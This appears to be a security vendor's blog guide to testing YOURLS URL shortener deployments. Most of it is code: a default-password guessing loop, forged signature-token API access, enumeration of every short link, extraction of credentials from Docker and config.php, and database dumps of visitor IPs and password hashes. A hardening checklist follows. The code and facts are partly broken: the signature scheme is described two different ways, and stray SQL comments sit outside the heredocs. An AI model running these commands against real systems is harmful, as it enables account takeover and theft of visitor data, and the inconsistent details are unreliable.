YOURLS Security Testing: Default Credentials, API Key, Database, and Signature Token

YOURLS (Your Own URL Shortener) is a widely deployed self-hosted PHP URL shortening platform — it is one of the oldest and most popular self-hosted URL shorteners. Key assessment areas: admin credentials control the entire platform; the signature token mechanism enables passwordless API authentication by computing an HMAC signature of the request — if signature tokens are exposed, full API access is possible without knowing the password; the MySQL database stores all shortened URL targets and click analytics including visitor IP addresses; and some deployments expose the admin panel without authentication. This guide covers systematic YOURLS security assessment.

Table of Contents

  1. Admin Credential Testing and Panel Access
  2. Signature Token API Authentication and URL Enumeration
  3. MySQL Database Link and Analytics Extraction
  4. YOURLS Security Hardening

Admin Credential Testing and Panel Access

# YOURLS — admin credential testing and panel access
YOURLS_URL="https://y.example.com"

# YOURLS admin panel — test common weak credentials
for CRED in "admin:admin" "admin:password" "yourls:yourls" "admin:yourls123"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESULT=$(curl -s -c /tmp/yljar -X POST "${YOURLS_URL}/admin/" \
    -d "username=${USER}&password=${PASS}&action=login" \
    -w "%{http_code}" -o /tmp/yl_out 2>/dev/null)
  TITLE=$(grep -oP '\K[^<]+' /tmp/yl_out 2>/dev/null | head -1)
  echo "${USER}/${PASS}: HTTP ${RESULT} - ${TITLE}"
done

# Check if YOURLS instance is public (no private mode)
curl -s -o /dev/null -w "%{http_code}" "${YOURLS_URL}/admin/" 2>/dev/null
# If 200 without redirect to login — YOURLS_PRIVATE is not set

# Check if API is accessible without authentication (stats)
# Some YOURLS versions/configs allow unauthenticated stats access
curl -s "${YOURLS_URL}/yourls-api.php?action=db-stats&format=json" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('statusCode') == 200:
    stats = d.get('db-stats',{})
    print(f'UNAUTHENTICATED ACCESS:')
    print(f'  Total links: {stats.get(\"total_links\")}')
    print(f'  Total clicks: {stats.get(\"total_clicks\")}')
elif d.get('statusCode') == 403:
    print('Auth required')
" 2>/dev/null

# Admin API with credentials
curl -s "${YOURLS_URL}/yourls-api.php" \
  -d "action=stats&limit=100&filter=last&format=json&username=admin&password=admin" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('statusCode') == 200:
    links = d.get('links',{})
    print(f'Links (status 200): {len(links)}')
    for k, link in list(links.items())[:10]:
        print(f'  {link.get(\"shorturl\")} -> {str(link.get(\"url\",\"\"))[:80]}')
        print(f'    clicks={link.get(\"clicks\")} title={str(link.get(\"title\",\"\"))[:40]}')
" 2>/dev/null</code></pre>

        <h2 id="api">Signature Token API Authentication and URL Enumeration</h2>
        <pre><code># YOURLS signature token API authentication
YOURLS_URL="https://y.example.com"

# YOURLS signature token authentication — bypasses password requirement
# Signature is computed as: md5(timestamp . secret_key) where secret_key is user's YOURLS secret
# If a user's signature token is known, API access does not require password

# Generate signature token if secret key is known
import_python_auth() {
python3 -c "
import hashlib, time
# secret_key is the YOURLS user's 'secret' from the admin panel
SECRET_KEY='your-yourls-secret-key'
TIMESTAMP = str(int(time.time()))
SIG = hashlib.md5((TIMESTAMP + SECRET_KEY).encode()).hexdigest()
print(f'timestamp={TIMESTAMP}&signature={SIG}')
"
}

SIGPARAMS=$(import_python_auth 2>/dev/null)

# Use signature token to authenticate API
curl -s "${YOURLS_URL}/yourls-api.php?action=stats&limit=100&format=json&${SIGPARAMS}" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('statusCode') == 200:
    print('SIGNATURE TOKEN VALID - API ACCESS GRANTED')
    links = d.get('links',{})
    print(f'Total links visible: {len(links)}')
    for k, link in list(links.items())[:10]:
        print(f'  {link.get(\"shorturl\")} -> {str(link.get(\"url\",\"\"))[:80]}')
" 2>/dev/null

# Enumerate all short links via API
cursor=0
while true; do
  RESP=$(curl -s "${YOURLS_URL}/yourls-api.php" \
    -d "action=stats&limit=200&start=${cursor}&filter=last&format=json&username=admin&password=PASSWORD" 2>/dev/null)
  COUNT=$(echo $RESP | python3 -c "import json,sys; d=json.load(sys.stdin); print(len(d.get('links',{})))" 2>/dev/null)
  [ "$COUNT" -eq 0 ] && break
  echo $RESP | python3 -c "
import json,sys
d=json.load(sys.stdin)
for k, link in d.get('links',{}).items():
    print(f'{link.get(\"shorturl\")}|{link.get(\"url\")}|{link.get(\"clicks\")}')
" 2>/dev/null
  cursor=$((cursor + 200))
done</code></pre>

        <h2 id="db">MySQL Database Link and Analytics Extraction</h2>
        <pre><code># YOURLS MySQL database extraction

# Docker/environment credentials
docker inspect yourls 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['YOURLS','DB_','MYSQL','PASSWORD','SECRET']):
            print(e)
" 2>/dev/null
# YOURLS_USER — admin username
# YOURLS_PASS — admin password
# YOURLS_DB_USER, YOURLS_DB_PASS, YOURLS_DB_NAME, YOURLS_DB_HOST
# YOURLS_SITE — base URL

# Read config.php if accessible
cat /var/www/html/user/config.php 2>/dev/null | \
  grep -E "DB_|YOURLS_|define\s*\(" | head -20
# Contains YOURLS_DB_PASS and admin credentials

# MySQL — all YOURLS data
mysql -h localhost -u yourls -pPASSWORD yourls 2>/dev/null << 'EOF'
-- All shortened URLs with targets
SELECT url, keyword, title,
       timestamp, clicks, ip
FROM yourls_links
ORDER BY timestamp DESC
LIMIT 30;
EOF
-- url: the full destination URL for each shortened link
-- keyword: the short code
-- ip: IP address of the user who created the shortened link

-- Click analytics with visitor data
mysql -h localhost -u yourls -pPASSWORD yourls 2>/dev/null << 'EOF'
SELECT click_time,
       shorturl,
       referrer,
       user_agent,
       ip_address,
       country_code
FROM yourls_log
ORDER BY click_time DESC
LIMIT 30;
EOF
-- ip_address: visitor IP address for each click
-- referrer: full referring URL for each click

-- Admin options including hashed password
mysql -h localhost -u yourls -pPASSWORD yourls 2>/dev/null << 'EOF'
SELECT option_name, option_value
FROM yourls_options
WHERE option_name IN ('yoauth_users','yourls_user_passwords',
                      'active_plugins','yourls_secret_key');
EOF
-- yourls_user_passwords: PHP serialized array with credential hashes</code></pre>

        <h2 id="hardening">YOURLS Security Hardening</h2>
        <div class="success-box">
            <strong>YOURLS Security Hardening Checklist:</strong>
            <ul style="margin-top:0.5rem">
                <li>Enable YOURLS_PRIVATE and use strong admin credentials — YOURLS has a YOURLS_PRIVATE constant in config.php; when set to true (the default), the admin panel and API require authentication; verify this is set; use a strong admin password that is not reused from other systems; YOURLS stores passwords using phpass hashing (portable PHP password hashing), which is weaker than bcrypt/argon2; audit all configured users and remove accounts that are no longer in use; restrict the admin panel at the web server level (nginx/Apache) to trusted IP ranges</li>
                <li>Treat signature tokens as persistent API credentials — YOURLS signature tokens allow API authentication by computing an HMAC over the timestamp and a user's secret key; if a user's YOURLS secret key is exposed, the signature token can be computed for any timestamp; unlike passwords which can be rotated directly, signature tokens are derived from the user's secret key stored in config.php or the database; treat the YOURLS_SECRET constant in config.php with the same sensitivity as a master API key; if config.php is compromised, all user signature tokens are compromised and all users' secret keys must be regenerated</li>
                <li>Protect config.php from web server directory traversal — config.php contains YOURLS_DB_PASS (database password), YOURLS_SECRET (signature token seed), and admin credentials; it must be protected from web server exposure; configure nginx/Apache to deny requests to config.php files; move config.php outside the web root if possible; set file permissions to 640 (owner read-only for non-web-server users); do not commit config.php to version control; check that .htaccess protections are functional if using Apache with YOURLS default installation</li>
                <li>Audit plugin security before installation — YOURLS has an extensive plugin ecosystem; plugins run as PHP code on the server and have full access to the database, config.php, and file system; audit plugin source code before installation; use plugins only from trusted sources; remove plugins that are no longer actively maintained; be aware that a vulnerable plugin provides full server compromise — YOURLS plugins have historically been used as webshell drop points; regularly update YOURLS core and all installed plugins</li>
                <li>Implement rate limiting on the short URL redirect endpoint — YOURLS redirect endpoint (/{shortcode}) is publicly accessible by design; without rate limiting, the endpoint can be enumerated by brute-forcing short codes to discover all shortened URLs and their destinations; implement nginx or Apache rate limiting on the redirect endpoint; consider using YOURLS plugins like YOURLS-Don't-log-bots to reduce noise in click analytics; be aware that click analytics in yourls_log includes visitor IP addresses — implement data retention policies to delete old click records in accordance with GDPR requirements</li>
            </ul>
        </div>
        <table>
            <tr><th>Security Test</th><th>Method</th><th>Risk</th></tr>
            <tr><td>Admin credential brute force and panel access</td><td>POST /admin/ with username/password — access to full YOURLS admin panel enabling URL management, plugin installation, and user management; admin panel credential compromise gives full control of the URL shortening platform</td><td>High</td></tr>
            <tr><td>Signature token API authentication bypass</td><td>Compute md5(timestamp + secret_key) — passwordless API authentication; requires secret_key from config.php or database; full API access to create, delete, and enumerate all short links</td><td>High</td></tr>
            <tr><td>MySQL yourls_links target URL enumeration</td><td>SELECT url FROM yourls_links — all shortened URL destinations; reveals every URL shortened using the platform including private campaign URLs, internal tool links, and sensitive document URLs</td><td>High</td></tr>
            <tr><td>Click analytics visitor IP extraction</td><td>SELECT ip_address FROM yourls_log — IP addresses of every visitor who clicked each short link; PII data enabling visitor identity tracking; referrer data revealing click context</td><td>Medium</td></tr>
            <tr><td>config.php database credential exposure</td><td>Read /var/www/html/user/config.php — YOURLS_DB_PASS, YOURLS_SECRET, admin username/password hash; full database access and signature token computation capability</td><td>High</td></tr>
        </table>
        <div class="cta-box">
            <h3>Automate YOURLS Security Testing</h3>
            <p>Ironimo tests YOURLS deployments for admin credential brute force and panel access, signature token API authentication bypass via config.php secret key extraction, MySQL yourls_links complete URL target enumeration, yourls_log visitor IP address and referrer extraction, config.php database password and secret key disclosure, Docker YOURLS_USER/YOURLS_PASS/YOURLS_DB_PASS exposure, unauthenticated API stats access on misconfigured deployments, short code enumeration without authentication, plugin directory listing, and PHP error message information disclosure.</p>
            <a class="cta-btn" href="https://app.ironimo.online">Start free scan</a>
        </div>
    </div>
    <footer>
        <p>© 2026 Ironimo. All rights reserved. | <a href="/blog/">Blog</a> | <a href="https://app.ironimo.online">Start free scan</a></p>
    </footer>
    <script>
        !function(t,e){window.posthog=window.posthog||[];var o=window.posthog;if(o.__loaded)return;o.__loaded=!0;var n=document.createElement("script");n.type="text/javascript";n.async=!0;n.src="https://app.posthog.com/static/array.js";var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(n,s);o._i=[];o.init=function(t,e,n){function s(t,e){var o=e.split(".");2==o.length&&(e=o[0],t=o[1]),t.prototype[e]=function(){return t.prototype[e+="_"]=function(){},this}}var i=o;void 0!==n?i=o[n]=[]:n="posthog",i.people=i.people||[],i.toString=function(t){var e="posthog";return n!==e&&(e+="."+n),t|+(e+=" (stub)"),e},i.people.toString=function(){return i.toString(1)+".people (stub)"},s(i,"init identify capture alias people.set people.set_once set_config register register_once unregister opt_out_capturing has_opted_out_capturing opt_in_capturing reset isFeatureEnabled onFeatureFlags".split(" ")),o._i.push([t,e,n])};o.__SV=1.1}(window,document);
        posthog.init('phc_placeholder',{api_host:'https://app.posthog.com'});
    </script>
</body>
</html>